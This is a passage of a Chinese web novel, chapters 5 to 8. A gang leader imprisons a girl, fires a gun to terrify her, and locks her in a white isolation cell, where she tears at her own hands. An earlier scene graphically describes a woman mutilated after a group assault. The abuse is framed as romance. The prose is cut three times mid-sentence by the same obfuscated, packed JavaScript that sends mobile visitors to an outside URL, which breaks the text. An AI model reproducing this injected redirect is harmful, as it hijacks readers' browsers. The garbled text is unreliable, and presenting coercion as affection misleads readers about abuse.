让她好好学学怎么伺候人!” 几个黑衣大汉从阴影里走出来,女孩惊恐地瞪大了眼睛,她很清楚被拖下去意味着什么,她见过。 数不清的人,数不清的手,那个总是温温柔柔的姐姐像个破布娃娃,躺在冰冷的桌子上,手脚毫无生气的垂落,盆骨被硬生生掰断,手被折成了反关节,嘴角被撕裂到耳根,像在笑,又像在哭。 她的眼睛是睁着的,浑浊、失焦,再也没了神采,再也不会……转动了。 女孩恐惧极了,她以极快的速度扑向陈寅洛,拽住他的衣角,扑通一声跪下,“救我……求求你,救救我,我什么都能做,我什么都可以做!!求你救救我!!” 恐惧让她浑身抖得像筛糠,眼泪混着嘴角的血迹糊了满脸,狼狈不堪到了极点。 陈寅洛垂下眼,目光落在那张与陈知念有几分相似的脸上。 “松开。”他淡淡吐出两个字。 雷子上前,一把扯开女孩的手臂,将人丢了回去,黑衣大汉立刻擒住了她的手脚,把人拖了出去。 尖叫声在包间门合上的一瞬,彻底淹没在外头沸腾的隐约和嘈杂人声中。 隆文抿了口酒,语气像是不经意般:“洛哥最近风头正劲啊,西南那边被收拾得挺干净……啧,这架势,该不会很快就轮到我们隆家头上了吧?” 陈寅洛懒散地坐着,烟雾在他指尖缭绕,视线慢慢落到隆文身上。 “你听谁说的?” 隆文指尖顿了顿,笑意不变:“道听途说。” 陈寅洛掐灭烟,换了个姿势:“那就当没听过。” “哈哈,好。”隆文又问,“听说洛哥有笔大生意要和我们老爷子谈?” —— 门禁系统发出轻微的“嘀”声。 陈知念的心脏猛地一缩,几乎跳到嗓子眼。她下意识地后退一步,身体绷紧,警惕地望向门口。 门被推开,一道高挑的身影踩着高跟鞋走了进来。 她的身段极为惹眼,胸腰比例分明,腰肢纤细却又饱满得恰到好处,走动间曲线摇曳,让人移不开眼。 一头浓密微卷的深棕色长发下,是一张极其美艳的脸庞,五官深邃立体,眼尾微微上挑,涂着饱满的红唇,整个人像一朵带着尖刺,在暗夜中盛放的野玫瑰。 她手里拎着一个黑色的袋子,几乎毫不费力就锁定了客厅里那道瑟缩的身影。 艾雅盯着陈知念几秒,似乎想从这小姑娘身上看出什么特别之处。结果却只看见一双盈满惊惧、像受惊小鹿般湿漉漉的眼睛。 她红唇微不可察地抿了一下。 多少年了,她和洛哥一路从最肮脏的泥泞里爬出来,刀尖舔血,经历过无数生死局面。她见过他身边形形色色的人,男人、敌人、合作伙伴、下属……唯独没有女人。 她艾雅,从他还是个一无所有的亡命徒时就跟着他,她最清楚,他对情感的漠视。 可眼前这个……这个看起来一阵风就能吹倒、浑身写满了麻烦和娇弱的小姑娘,凭什么?凭什么能出现在洛哥的别墅里?凭什么能让洛哥特意吩咐她送衣服? 5. 第 5 章 艾雅在距离她两步远的地方停下,将手中的纸袋随意地放在茶几上。 陈知念被她盯得浑身发颤,这个漂亮姐姐锐利目光里的探究太过明显了。 终于,艾雅红唇微启,“我叫艾雅,洛哥让我送衣服过来。” 她视线再次扫过陈知念脏污的裙子和那张写满恐惧的脸,声音柔了几分,“浴室在那边。” “……谢谢。”陈知念低着头,声音闷闷的。 艾雅目光落在陈知念手臂上的几道擦伤和淤青上,眉头微微蹙了一下。她弯腰从纸袋里拿出几件崭新的衣物,柔软棉质长裙,还有两套干净的贴身内衣,她把这些衣物放在离陈知念最近的沙发扶手上。 “都是新的,你应该能穿。” 陈知念迟疑地伸出手,声音很轻:“谢谢姐姐。” 艾雅低头看她,这小姑娘看起来就跟脆弱的瓷娃娃一样,放在禁区里,估计都活不过三天。 可偏偏就是这样的她,被陈寅洛带回了别墅。 艾雅心里生出几分说不清的复杂,既酸涩又不甘。可话到了嘴边,还是放轻了声音,“快去洗澡把衣服换了吧,注意别让伤口沾到水了。” 听到艾雅话里藏着的关怀,陈知念积蓄了太久的眼泪瞬间失控,大颗大颗地滚落下来。 这是她陷入这场噩梦以来,第一个对她释放出善意的人。 “姐姐,你可以帮帮我么?”她哽咽着抬起头,声音急促,“我……我不想留在这……求求你,我不想在这,他、他会杀了我的!” 艾雅怔住了,女孩话语里透露出的信息,结合她身上狼狈的痕迹,她几乎瞬间就能勾勒出那些画面。 她太清楚洛哥是什么样的人了。 女孩惊慌的模样让她心里一紧,她也曾在这样的泥泞里绝望地伸出手,渴望有人拉一把。 “……不行。”艾雅轻声,却异常坚决,“别想了,没有他的允许,谁也走不了,谁也帮不了你。” 她看着陈知念眼中瞬间熄灭的光,心里隐隐一痛,但转瞬即逝。 她微微侧过身,避开那太过刺眼的目光,“……别哭了,把眼泪擦干净。在禁区,眼泪是最没用的东西。” 说完,艾雅不再看陈知念一眼,转身踩着高跟鞋,逃跑似的离开了别墅。 —— 巨大的别墅空旷得可怕,每一丝细微的回音都敲打在陈知念紧绷的神经上。 她握紧手心,掌心里全是汗。 别墅里除了她没有任何人,刚才她趁着洗澡的时候观察过了,也许是他比较注重隐私,所以整栋别墅内没有任何监控设备。 这是一个绝佳的机会!她要联系爸爸,爸爸一定会想办法救她回家的! 心跳加速,咚咚咚地擂着胸腔,几乎要破膛而出。 她屏住呼吸,踮着脚尖在客厅里四处搜寻,视线慌乱地扫过每一个可能藏匿通讯设备的地方。 茶几、红木矮柜、壁龛、甚至壁炉……手心全是冷汗,黏腻冰冷,让她开抽屉的手指都在打滑。 她不敢发出任何声音,每一次拉开抽屉的轻微“咔哒”声都让她心惊肉跳。 没有,都没有,抽屉里是整齐摆放的雪茄、昂贵的打火机、各种枪械零件……没有通讯器。 书房!对,书房里一定有! 她跌撞着奔向二楼,整个二楼只有两间房。 她小心翼翼地推开其中一扇房门,房间内漆黑一片,她适应了会才看清这是一间卧室,偏冷调的风格,黑灰为主,就像陈寅洛本人一样。 确认不是自己要找的书房后,她轻手轻脚退了出来,不甘心地走向另一扇门。 保佑我,千万别锁门,千万别锁门! 她在心里不停默念,然后颤着手向下将门把手一压,咔哒,门开了。 是书房。 她心跳猛然加速,耳膜里尽是心跳的鼓动声。她一个个抽屉拉开摸索,里面是文件、印章、几把造型奇特的枪支……还是没有! 呼吸越来越急促,胸腔因为缺氧而隐隐作痛。绝望像冰冷的潮水,一点点漫上来。 难道真的没有? 她不甘心,目光投向书桌下方一个带锁的小抽屉。 锁是简单的金属锁扣。 她慌乱地在书桌上寻找,抓起一把金属拆信刀,颤抖着撬动锁扣。 金属摩擦发出刺耳的刮擦声,每一下都让她头皮发麻。 时间被无限拉长,每一秒都无比漫长和煎熬。 “咔哒”锁开了。 她猛地拉开抽屉,一个黑色的通讯器静静躺在那。 心口骤然升起一股微弱却滚烫的希冀,她几乎要哭出来,颤着手伸了过去。 就在她的指尖即将触碰到通讯器的瞬间—— “呜——呜——呜——!!!” 刺耳、尖锐、足以撕裂耳膜的警报声毫无征兆地轰然炸响! 陈知念浑身一僵,恐惧瞬间攫取了她的全部感官,她没办法呼吸了,浑身的血液都被冻结,寒毛耸立。 冰冷的红光骤然充斥了整个空间,墙壁、天花板、地板……所有隐藏的警报灯疯狂闪烁,将书房瞬间变成了一个诡异的恐怖室。 那闪烁的红光,像无数只充满恶意、俯视着她的眼睛,冷酷地宣告着她的失败和愚蠢。 “砰!”书房的门被粗暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272529|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地撞开! 几名大汉瞬间冲了进来,陈知念连反应都来不及,就被人从背后死死压制,手臂被大力反拧到背后,剧痛瞬间窜上肩头。 她的身体被毫不留情地摁在冰冷的地砖上,脸颊被迫紧紧贴住冰冷的地面,恐惧如潮水般淹没了她。 “放、放开我……”她声音发抖,话还没说完,就被一把按住了后脑,下巴又猝然磕在了地面,火辣辣的痛感直逼眼眶,泪水瞬间涌了出来。 “老实点!”冷硬的呵斥在她头顶炸响,没有任何温度。 门口快来一阵脚步声。 陈寅洛回来了。 他身上那件本就松松垮垮的衬衫更垮了些,就跟挂在身上似的,也许随时会丢盔弃甲。浑身上下弥漫着一股子酒味,眼神有一点迷离,步伐却没乱。 大汉看到了他,立刻松开了钳制着陈知念的手。 陈知念哆嗦着从地上爬了起来,望着站在门口处的高大身影,身体不受控制地剧烈颤抖起来。 陈寅洛垂眸俯视片刻,慢条斯理问,“找什么?” 没有人敢接话。 他又偏下头,目光扫过那个抽屉,“通讯器?” “你真是让人惊喜。”他修长的手指一勾,从雷子腰间把枪抽了出来。 “砰——!”子弹擦过她耳侧,打碎墙角的一盏灯。 枪声炸开的瞬间,陈知念的耳朵里只剩下尖锐的嗡鸣。 她呼吸完全停止,心脏在胸腔里骤然停顿了一拍,然后疯狂地、毫无规律地撞击着肋骨。 支撑身体的力气瞬间消失,膝盖猛地一软,瘫软在地。 陈寅洛迈开长腿,一步步朝她走近。 男人弯下腰,伸手捏住她下巴,冷漠开口:“站起来。” 陈知念还瘫在地上,瞳孔涣散,似乎还没从巨大的冲击中回神。 “我只说最后一次,站起来!” 陈知念思绪终于回笼,站……站起来? 她的腿完全不听使唤,像两团不受控制的软泥,刚刚经历枪击的余震还在体内肆虐,每一根神经都在尖叫着危险。 泪水夺眶而出,她仰着头,哽咽着小声说,“我……我站不起来……” 陈寅洛眉峰重重拧起,眼神里最后一丝耐心彻底耗尽:“三秒钟。” “3!” “2!” 就在‘1’即将落下的瞬间,巨大的求生意志促使陈知念重新掌控了身体的支配权,她咬着牙,手指撑地,颤抖着让双腿支撑起身体。 摇摇欲坠,却硬是站了起来。 然后,男人焦躁的低声响起—— “过来,抱我。” 6. 第 6 章 “什、什么?”陈知念僵了原地,似乎没听清。 雷子也被这突如其来的话弄的一头雾水,抱?他怕不是幻听了?!这话真的是从洛哥嘴里说出来的么! 他震惊地看向陈寅洛,可陈寅洛一脸认真,显然不是开玩笑。 “快点。”男人的声音带着令人窒息的压迫。 陈知念浑身一凛,艰难地挪动着脚步,一步一步走过去,颤抖着伸出双臂,小心翼翼地环住了他的腰。 她的脸颊被迫贴在他敞开的领口处,浓烈的酒味、烟草味和强烈侵略性的男性气息霸道地钻入她的鼻腔,侵占了她所有的感官。 他腰腹肌肉紧实坚硬,隔着薄薄的衬衫传递出惊人的热度。 她感觉自己抱住了一座随时会喷发的、滚烫的火山。 她的身体无法控制地剧烈颤抖着,泪水打湿了他的衬衫,她能感觉到他胸腔传来的有力的心跳,一下又一下,从急促到逐渐平缓。 男人一只手随意垂在身侧,另一只手抬起,拂过她散落在肩后的发丝。 陈寅洛低下头,鼻息间嗅到淡淡的气息。 不只是少女身上的清甜香味,更有一种说不清的,能让他心底躁动逐渐沉下去的东西。 原本在胸腔里横冲直撞的暴烈情绪,像被无形的手抚平,心率从急促逐渐回落,太阳穴的鼓胀感一点点消散。 刚才,他是真的挺想杀人的。 他的思绪逐渐飘远。 他是基因改造产物,是白塔城为了完美继承人计划而制造出来的,目标是打造全指标远超人类的基因级优选人类。 他是唯一成功的一个。 但在十岁时,实验室发现了异常。他的情绪回路残缺,毫无同理心,冷血、反社会、暴动无常,任何情绪调节药剂在他身上都失效。 为了修复这种缺陷,研究员曾尝试用陈知念的基因片段,做神经递质补偿配对。 结果在实验数据上没有短期成效,被判定失败。 于是,他被贴上“无用的失败品”的标签。陈家却不甘心,把他领养回去。 从见她的第一眼,他就知道,其实实验成功了。 只要靠近她,体内失衡的神经递质就会被悄然调节,躁动的皮质醇被抑制,暴烈的冲动逐渐冷却。 而这种依赖感,让他愤怒。 他怎么可能接受,一个毫不相干的弱小女孩,竟能左右他的情绪? 所以,他想过要杀了她,并付出了行动。 但他失败了,她获救了,他因为蓄意杀人而被放逐到了禁区。 陈知念不敢动,也不敢抬头看他,她不知道他要干什么,她能感觉到他停留在她发丝上的手指,那轻微的触碰像带着电流,让她头皮阵阵发麻。 忽然,男人的手一松,冷硬的力道将她推开。 陈知念踉跄一下,差点摔倒。心猛然一颤,恐惧本能驱使她脱口而出,“……我、我会听话的,别杀我。” 男人垂视,眼神漠然:“放心,我不杀你。” 话落下的一瞬,她眼底刚闪过一点微弱的安慰,还来不及松口气,就被他下一句话击的粉碎。 “不过——”他似乎勾了勾唇,“做错事,就得受惩罚。” 声线陡然转冷,“把她关去禁闭室。” 听到陈寅洛的话,雷子才终于确认,没错了,是本人。 而陈知念甚至来不及做出反应,手腕便被人死死钳住,肩膀被粗暴推搡。 她惊恐地挣扎着,指甲掐进掌心,哭得近乎崩溃,“不要!我真的会听话,我知道错了……放过我吧……” 可没人理会。 冷硬的手掌死死压制着,她几乎是被半拖半拽着从书房带走。 陈寅洛站在原地,指间不知何时又夹上了一支点燃的烟,他漠然地看着她被拖走的背影,眼神里没有任何波澜。 —— “进去!”冰冷的命令响起,同时一股大力将陈知念猛地推了进去。 白色。 入目所及,只有白色。 天花板、墙壁、地板,所有的一切都是毫无变化的纯白,光线不知从何而来,毫无死角地充斥着整个空间。 没有门,没有窗,没有床,没有任何缝隙,也没有时间。 她拍打着那堵将自己与外界隔绝的墙壁,哭喊着,“我错了,我错了,小叔叔,放我出去吧,我真的错了!” “我错了……我错了……” “放我出去吧,我再也不敢了……” 回应她的,却只有自己空旷回荡的声音,被无数次放大、拉长,最终消散在白色的。 她沿着墙壁摸索,一圈又一圈,试图找到一个出口,可触之所及全是冰冷的墙壁。脚下的白色地面冰冷光滑,没有任何纹理,让她产生一种踩在虚空中的眩晕感,她甚至无法判断这个空间有多大,墙壁看似触手可及,又仿佛遥不可及。 她不知道自己走了多久,哭了多久。 在这里,时间迅速崩塌。 长久凝视下,眼睛开始酸涩、刺痛,甚至产生诡异的幻觉,白色的墙壁似乎在缓缓流动、扭曲。 她尝试着数呼吸,数心跳,可很快,心跳和呼吸声都成了令人发狂的低鸣,她甚至能听到自己血液在血管里奔流的微弱噪音,在这死寂的空间被无限放大。 她捂住耳朵,但没用,什么都没有用! 时间的流动变得粘稠、混乱,她开始产生错觉。 有时觉得脚下的地板在缓慢沉陷,有时觉得墙壁正悄然向内挤压。 她的意识开始模糊,思维变得混乱。 她感觉自己正在这片无垠的白色中被分解、被稀释、被抹去。 没有水,没有食物。饥饿感在一开始还如刀割般折磨,可随着时间推移,胃里的空虚渐渐变成顿麻。她甚至分不清自己是饿的没了力气,还是身体已经彻底放弃了求生的本能。 光与影没有了界限,她终于不再挣扎,静静地躺着,眼睛睁着,茫然望着头顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272530|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样一成不变的白色,连眨眼都变得迟缓。 —— 射击场的空气混着火药味和金属味,闷得发燥。 陈寅洛抬手,瞄准、扣动扳机,动作一气呵成,子弹穿透空气,精准击中一百米外靶子红心。 严彬站在一旁,看着计分屏上满分的分数,不疾不徐开口:“洛哥,白塔城很快就会查到咱们头上。” 陈寅洛连眼皮都没抬:“让他们查。” 严彬不可置否。那栋科研楼藏着很多秘密,里面储存了许多白塔城基因改造档案,洛哥的档案也被存在那里。 前段时间他们得到了一个消息,白塔城那群老东西准备再次启动“完美继承人”计划,洛哥的基因信息留在那,他们随时可以再制造出一批的陈寅洛,还可能用它研发出更致命的东西。 陈寅洛换上新弹匣,又一枪击中靶心。 枪声一声接一声地响起,每一发子弹都精准落在靶心,钢板后的碎屑飞溅,溅起一阵火星。 他放下枪,摘下耳罩,坐回沙发,拿出烟点燃,“隆文那边怎么说?” 雷子回道:“他约您明晚莫妮卡详谈。” 陈寅洛吸了口烟,嗤笑一声,“看来是交不出货了,正好,我的耐心也耗尽了,明晚准备一下吧。” “是,洛哥。” 艾雅在一旁默默看着,终于等到陈寅洛交代完一切,找了个不起眼的时机开口。 “洛哥,禁闭室那个……已经超过四十八个小时了。” 陈寅洛吐出一个烟雾,没立刻接话。灰白的烟雾在他面前缓缓散开,遮住了半张冷硬的面孔。 空气短暂地静了一瞬,雷子和严彬都诧异地看向艾雅,似乎很震惊她竟然会插手洛哥的事。 艾雅抿了抿唇继续说,“根据过往数据和心理评估模型,普通人在那种环境下超过四十八小时阈值,神经损伤不可逆的概率超过百分之八十。轻则永久性空间感知障碍、幻视幻听,重则彻底精神崩溃,丧失基本认知功能,或者……” “自我了断。” 她清晰地陈述着客观事实,看似面色平静,手心却微微沁出了汗。 “超过四十八小时了?”陈寅洛眼里的寒意渐渐敛去几分。 沉默了数秒,烟蒂被他随手按灭在烟灰缸里,他抬起眼,目光穿透烟雾,落在艾雅脸上。 “去,把人弄出来。” 艾雅紧绷的脊背几不可察地松了一丝。 “是。” 随即转身,步履如风地离开了射击场。 雷子和严彬都默契地保持着沉默,整理着枪械装备,一时间,空气里只余金属部件碰撞的轻微声响。 陈寅洛陷在沙发里,指尖又燃起了一根烟。 辛辣的烟雾在他肺里转了一圈,下一瞬,高大的身影骤然从沙发里站起。 雷子和严彬的动作同时顿住,惊讶地看向他。 陈寅洛没有看他们,他径直迈开长腿,朝着艾雅离开的方向走去。 7. 第 7 章 通道里。 艾雅正快步走向通往地下禁闭区的专用电梯,她心里盘算着需要准备些什么。 镇静剂?温水?干净的毯子?那个女孩的状态恐怕糟透了…… 就在这时,身后传来一个熟悉的脚步声。 艾雅脚步猛地一顿,诧异地回头。 逆着通道顶灯略显惨白的光线,陈寅洛高大挺拔的身影正大步走来,看不清表情,只有周身那股沉冷的气息如同实质般弥漫开来。 “洛哥?”艾雅难掩惊讶,下意识地站定。 他……亲自来了?这完全出乎她的意料。她本以为他下令后就不会再过问。 陈寅洛没有停下脚步,径直越过她走向电梯:“刷卡。” 艾雅立刻收敛心神,压下所有疑问,迅速跟上,在电梯旁的感应器上刷了自己的权限卡。 陈寅洛率先走了进去,艾雅紧随其后。 电梯无声地下降,指示灯数字不断跳动,很快电梯门再次打开。 复杂的指令输入后,传感器亮起幽蓝的光,厚重的合金门缓缓滑开。 陈寅洛站在门口,刺目的白光乍现,他微微眯了眯眼,旋即锐利的目光瞬间锁定了那道身影。 只一眼,连他那双惯常冰封的眼底,也掠过一缕轻微的波动。 陈知念蜷缩在角落里,头发湿漉漉地贴在面颊上,脸色惨白,眼神空洞。 原本干净的棉质长裙,此刻已经变得污秽不堪,上面是大片大片暗红发黑的污迹。 原本纤细白皙的手指和手背上,布满了数不清的、深深浅浅的伤口。 有些是新鲜的,皮肉翻卷,还在缓慢地渗出暗红色的血珠。有些已经结痂,形成丑陋的深褐色硬壳,还有一些痂被反复撕开,露出底下粉红色的嫩肉。 这些伤口,无一例外,都是她自己撕咬出来的。 指关节、手背、手腕内侧,都遍布着深深浅浅的牙印。 原本毫无瑕疵的白色墙壁,此刻赫然变成了她绝望挣扎的画布。 一道又一道血痕,线条混乱,深浅不一。有的像随意的涂抹,有的像刻意留下的符号,有手掌拍打留下的血掌印,有反复抓挠留下的长长血线。 她用她的血,在试图污染这片纯白,试图证明自己的存在,试图留下一点……不是白色的痕迹。 艾雅站在陈寅洛身后一步,即使是她这样见惯了血腥和残酷的人,在看到这一幕的瞬间,瞳孔也骤然收缩,下意识地屏住了呼吸。 陈寅洛目光缓缓移开,从血迹斑驳的墙壁收回,落到那个蜷缩的身影上。 她几乎没了声息,眼神空洞,呼吸微弱,似乎已经失去了对外界的感知。 片刻的沉默后,他开口,“去叫医生。” 然后,他径直走向那个角落,弯下了腰,将她从冰冷的地面上捞了起来抱在怀里。 她身上的血腥味扑进鼻尖,头软软地垂在他肩侧,颤抖的呼吸若有若无。 他面色冷峻,转身,大步走向门口。 艾雅怔怔看着,胸口酸的发紧,过了好几秒,才匆匆离开去找医生。 不断晃动的光影让陈知念的视线终于聚焦了些,她极其微弱地动了动,沾着血污的指尖拽住了他衣袖。 力道轻得几乎可以忽略不计,但那微弱的拉扯感,却清晰地传递到了陈寅洛的手臂上。 “别……”她声音嘶哑干涸,带着深入骨髓的恐惧,“别杀我,我会听话的……真的……” 下一瞬,眼神忽然又涣散,拽着他袖口的指尖也无力地松开,软软地垂落下去。 “爸爸……爸爸救我……” 随即,她又断断续续低声哭着,“呜呜……我错了……我真的错了……别丢下我,我好害怕……” “我不敢了,我再也不敢了……” “别关我……别关在那里……小叔叔……求求你……” 她的哭诉语无伦次,颠三倒四。 陈寅洛的脚步没有丝毫停顿。 他大步踏入别墅,怀里人烧得滚烫,意识模模糊糊,一路都在胡言乱语。 站到自己的卧室门口时,陈寅洛罕见地踌躇了下来。 整栋别墅只有一个卧室。 他眉头下意识地蹙起,低头瞥了一眼怀里的人,脏污、血渍、泪痕、汗味混合在一起,散发着令人不悦的气息。 要不把她扔地上算了? 视线扫过她惨白如纸的脸颊,一丝不易察觉的烦躁掠过眼底。他最终还是抬脚,用肩膀顶开了卧室门。 房间是冷硬的灰黑色调,线条简洁凌厉,如同他本人。 他走到床边,没有任何怜香惜玉,直接将她放倒在深灰色的床单上。动作带着被侵扰了私人领域的不耐烦。 陈知念的身体接触到柔软床铺,似乎受到了新的刺激,她无意识地蜷缩起来,“我错了……我错了……” 陈寅洛直起身,居高临下地看着床上那团污染了他床单的麻烦,冷峻的脸上没有任何表情,只有眼底深处翻涌着极其不耐的情绪。 就在这时,门外传来急促的脚步声。 艾雅带着医生和一个提着沉重医疗箱的助手匆匆赶到卧室门口。 看到陈寅洛站在床边,而陈知念被安置在他自己的床上时,艾雅的瞳孔猛地一缩。 洛哥的卧室!他竟然……!! 这个认知比看到陈寅洛亲手抱着陈知念更让她震撼和……酸涩难言。 但她立刻压下所有翻涌的情绪,侧身让医生进去。 “洛哥。”医生恭敬地点头示意,然后立刻将目光投向床上的人。 “快点处理好。”陈寅洛丢下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272531|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话,就转身走向巨大的落地窗前,背对着床的方向。 他需要空间,需要远离那令人烦躁的哭泣和血腥味。 医生和助手立刻行动起来,艾雅也压下心头的复杂,上前帮忙。 她小心翼翼地试图去解开陈知念身上那件脏污的裙子。 “啊——!别碰我!走开!” 当艾雅的手指触碰到她肩膀的瞬间,原本意识模糊陈知念似被惊到,猛然弹起,挥舞着手臂胡乱拍打。 “按住她!小心她的伤口!”医生沉声指挥,助手立刻上前,试图控制她乱舞的手臂,避免她伤到自己或别人。 场面瞬间混乱起来,陈知念的尖叫、哭喊、挣扎声充斥着整个空间。 站在窗前的陈寅洛背影一僵,那尖锐的噪音充斥着他的耳膜,太阳穴突突直跳,暴戾的情绪瞬间占领高地。 他霍然转身,“闭嘴!” 奇迹般地,这声冰冷的呵斥竟比镇静剂更有效。 床上疯狂挣扎哭喊的陈知念,如同被按下了暂停键,所有声音和动作瞬间停止。 她那双涣散的眼睛聚焦在了陈寅洛那布满寒霜的脸上,再不敢动不敢哭闹了,只剩下身体无法控制的颤抖着。 医生和助手都愣住了,艾雅也屏住了呼吸。 陈寅洛没有再看她,视线落向医生:“让她安静点!” 医生立刻点头,迅速从药箱里取出预先准备好的镇静剂,在助手和艾雅的协助下,小心地避开她手臂上的伤口,将药物注射进去。 药效很快开始发挥作用,陈知念紧绷的身体一点点软了下来,陷入了药物强制带来的昏沉状态。 医生这才得以开始仔细检查和处理她身上的伤口,艾雅在一旁默默地协助,递工具,清理血迹。 几个人忙碌了近一个小时才把所有的伤口处理好,医生长舒一口气,“洛哥,伤口都处理好了,失血不多,注意别感染就行。她现在身体非常虚弱,严重脱水,电解质紊乱,精神受到巨大创伤……需要时间恢复。” “手上的伤……可能会留下比较明显的疤痕。另外,她现在的精神状况非常不稳定,极易受惊,可能需要一段时间的心理干预……” 陈寅洛面无表情:“没那个必要。” 禁闭室他也呆过,是他十七岁那年。里面不过就是无聊了点,也没见变成这副鬼样子。 艾雅抿了抿唇,试探问:“洛哥,今晚她……” 陈寅洛凛冽的目光扫过来,艾雅适时闭了嘴。 下一瞬他开口,“叫人进来,把这张床给我里里外外全换了。至于她……”他下巴朝地上随意一点,“随便找点东西铺地上,扔那儿就行。别死了就成。” 艾雅心口一窒,看着床上昏睡的女孩。她还以为,她会有什么不同,结果……好像也没什么区别。 8. 第 8 章 凌晨四点,陈寅洛忍无可忍从床上翻身而起。 他是个很警惕的人,枕头下随时都放了一把□□,即使在熟睡中,随便一点轻微的响动都能让他瞬间警觉。这是他在禁区摸爬滚打十年养成的习惯,如果不是靠着这点警觉性,他早该死了十次八次了。 他一向不喜欢别人进入自己的领域,更遑论正大光明睡在他房间。今天难得心善一回,结果就是自讨苦吃,可见人还是不能太善良,否则后患无穷。 她睡在离床几米远的地铺上,那是艾雅后来铺上的厚毯子和被褥。 很显然,这点舒适根本无法对抗她精神深处遭受的重创。 即使在梦里,她也一直不断抽泣,中间夹杂着模糊不清的呓语。 这比他妈的听到枪声还让人恼火。 陈寅洛一把掀开被子,赤脚踩在地板上,几步就跨到地铺前,满脸暴躁:“陈知念,你他妈给老子起来!” 地上的人没什么反应,只是又轻声抽泣了几下。 “陈知念!” 男人的声音高了几分,夹杂着更深的怒意。然而地上沉睡的人依旧没反应,仿佛陷入了什么梦魇中,根本无法自行挣脱。 黑暗中,男人冷峻的眉眼更锋利了些,他终于屈尊降贵地蹲下,伸出手重重推了一把地上的人。 那一下力道不轻,带着他积压了半夜的烦躁和不耐。 陈知念在浓雾中拼命奔跑,四周像无尽的走廊,没有尽头也没有出口,脚下是湿冷的水泥地,裸/露的钢管滴着水,啪嗒、啪嗒。 她不敢回头,却知道那人正在一步步靠近。 四周都是模糊的阴影,天花板时而塌落,时而拉伸,一切都在扭曲变形。 忽然,一只手从雾中伸出,猛地扼住她的喉咙。 浓雾中,少年的脸倏地逼近,五官近乎完美,那双眼却像冰,冷淡、无情,没有情绪。 “啊——!” 陈知念猛地睁开眼,映入眼帘的是沉沉的黑暗,一道模糊的人影正立在自己床边。 她几乎做不出任何思考,滚烫的身体径直贴了过去,手臂箍住他的脖颈,发烫的脸颊紧紧埋进肩膀。 “爸爸……爸爸,你终于来了,你来救念念了吗……念念好怕……” 带着灼热温度的泪水一滴滴砸在陈寅洛的脖子上,他皱了眉,胸腔里暴戾的情绪倒逐渐平缓了下来,喧嚣的血液开始正常流淌,有序地奔向心脏,将心口那点子燥意慢慢抚平。 可很快叛逆的情绪再次滋生,这种依赖不受控的感觉,让他再次想要发泄出点什么。 但大脑皮层的神经递质又诡异地安抚着他,让他竟一时卡了壳。 “松手。”他终于从牙缝里挤出两个字。 陈知念仍在断断续续地喊着爸爸,炙热的身体温度在节节攀升,显然是已经烧糊涂了。 可陈寅洛却不管这么多,脸色瞬间阴沉下来,指尖猛地扣住她后颈,像拎鸡崽子一样把人拎开,漆黑的眸子逼近。 “乱叫什么?谁他妈是你爹,看清楚,老子是谁!” 粗暴冰冷的呵斥让陈知念打了个寒噤,眼前的人影终于清晰。 男人眉眼深刻,阴鸷冷峻,浑身散发着迫人的气场,那张脸与梦魇中少年冷酷的面孔逐渐重叠。 她瞬间清醒过来,像被火烫到一般,下意识地松了手,手脚并用狼狈地往后缩去。 陈寅洛盯着她,黑眸深沉得像能把人一口吞掉。 “哦,清醒了?” 陈知念牙齿不受控地打颤,一双眼睁得极大,却很是清明。 他站起身来,冷冷俯视着她:“既然醒了,就滚出去睡,别在这吵我。” 陈知念这才慌乱地看向周围,这……是陈寅洛的房间?她为什么会睡在这? 不,这不是关键问题,关键是她竟然像八爪鱼一样缠在了他身上,还……还把他当成了爸爸! 这个认知比任何退烧药都来得有效,一股寒意从脊椎骨猛地窜起,瞬间冲散了高烧带来的浑噩。 她几乎不敢看他的眼睛,双手抱起被子哆嗦着爬起来,“对、对不起!小叔叔……我……我不知道……我这就走!” “滚快点。”陈寅洛心情显而易见的不好,“等等,把这堆破烂一块带走。” 这被子沾了她的眼泪,汗水,衣服上的污渍,简直是脏到令人发指。 陈知念喉咙发紧,顶着他冷漠又有无限穿透力目光,手忙脚乱地将地上的被褥抱起,仓皇地逃离。 她手脚发软地出了房门,然后小心翼翼地关上。 走廊里冰冷的气息扑面而来,她腿一软,瘫倒在地上。 她大口大口地喘着气,汹涌的泪水又崩不住了,像是关不住的水龙头,不要钱地往下掉。 终于……她终于离开禁闭室了,她应该开心的,可是,她根本开心不起来。 只要还在这里一日,陈寅洛随时就能再次把自己关起来,不需要任何理由。 分明他就是那个施暴者,偏偏还要以救世主的姿态说,取悦他,她就能活。 